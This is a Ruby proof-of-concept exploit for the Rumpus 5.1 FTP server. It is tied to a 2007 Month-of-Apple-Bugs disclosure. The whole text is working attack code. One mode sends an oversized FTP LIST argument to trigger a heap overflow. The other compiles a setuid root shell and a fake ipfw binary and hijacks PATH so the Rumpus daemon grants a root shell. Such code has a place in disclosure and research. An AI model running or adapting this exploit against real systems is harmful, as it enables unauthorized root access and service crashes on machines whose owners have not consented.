Rumpus 5.1 Local Privilege Escalation / Remote FTP LIST PoC Exploit
[code]#!/usr/bin/ruby
# Copyright (c) Lance M. Havok <lmh [at] info-pull.com>
# Kevin Finisterre <kf_lists [at] digitalmunition.com>
#
# Proof of concept for issues described in MOAB-18-01-2007.
require 'net/ftp'
require 'socket'
bugselected = (ARGV[0] || 0).to_i
target_host = (ARGV[1] || "localhost")
target_user = (ARGV[2] || "anonymous")
target_pass = (ARGV[3] || "rumproast")
def list_bug(o)
payload = "A" * 251
payload << [0x41424344].pack("V")
payload << [0x61626364].pack("V")
payload << [0x30313233].pack("V")
payload << [0xdeadface].pack("V")
o.list(payload)
end
def local_priv_escalation()
wrapper = 'int main() { setuid(0); setgid(0); system("/bin/sh -i"); return 0; }'
fake_ipfw = 'int main() { system("/usr/sbin/chown root: /tmp/shX; /bin/chmod 4755 /tmp/shX"); return 0; }'
command_line = "echo '#{wrapper}' > /tmp/test.c && cc -o /tmp/shX /tmp/test.c && " +
"echo '#{fake_ipfw}' > /tmp/ipfw.c && cc -o /tmp/ipfw /tmp/ipfw.c && " +
'export PATH="/tmp/:$PATH" && /usr/local/Rumpus/rumpusd'
system command_line
sleep 1
puts "++ Enjoy root shell..."
system "/tmp/shX"
end
case bugselected
when 0
puts "++ FTP LIST heap buffer overflow..."
Net::FTP.open(target_host) do |ftp|
ftp.login("#{target_user}","#{target_pass}")
list_bug(ftp)
end
when 1
puts "++ Local privilege escalation..."
local_priv_escalation()
end
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